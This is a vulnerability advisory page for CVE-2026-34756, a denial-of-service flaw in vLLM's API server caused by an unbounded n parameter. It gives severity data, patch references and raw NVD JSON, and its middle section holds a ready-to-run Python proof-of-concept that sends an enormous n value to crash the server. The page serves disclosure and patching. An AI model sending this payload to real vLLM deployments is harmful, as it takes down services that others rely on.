CVE-2026-34756

Description

vLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.0, a Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. This vulnerability is fixed in 0.19.0.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:* - VULNERABLE

vLLM >= 0.1.0, < 0.19.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_vllm_dos(target_url):
    """
    PoC for CVE-2026-34756
    Sends a request with a massive 'n' parameter to trigger OOM.
    """
    url = f"{target_url}/v1/chat/completions"
    
    headers = {
        "Content-Type": "application/json"
    }

    # Payload with astronomical 'n' value
    # This bypasses validation and causes OOM
    payload = {
        "model": "any-model",
        "messages": [{"role": "user", "content": "test"}],
        "n": 999999999999  # Trigger the vulnerability
    }

    try:
        print(f"Sending exploit payload to {url}...")
        response = requests.post(url, json=payload, headers=headers, timeout=10)
        print(f"Response Status: {response.status_code}")
    except Exception as e:
        print(f"Exploit likely successful (Server crashed/OOM): {e}")

if __name__ == "__main__":
    # Replace with actual target
    target = "http://localhost:8000"
    exploit_vllm_dos(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34756
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34756
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34756/
[4] VulDB https://vuldb.com/cve/CVE-2026-34756
[5] https://github.com/vllm-project/vllm/commit/b111f8a61f100fdca08706f41f29ef3548de7380
[6] https://github.com/vllm-project/vllm/pull/37952
[7] https://github.com/vllm-project/vllm/security/advisories/GHSA-3mwp-wvh9-7528

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34756", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:36.610", "lastModified": "2026-04-20T18:30:39.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.0, a Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. This vulnerability is fixed in 0.19.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vllm:vllm:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.1.0", "versionEndExcluding": "0.19.0", "matchCriteriaId": "E0C114ED-3459-4A6D-A572-812A9F3BF777"}]}]}], "references": [{"url": "https://github.com/vllm-project/vllm/commit/b111f8a61f100fdca08706f41f29ef3548de7380", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/vllm-project/vllm/pull/37952", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-3mwp-wvh9-7528", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}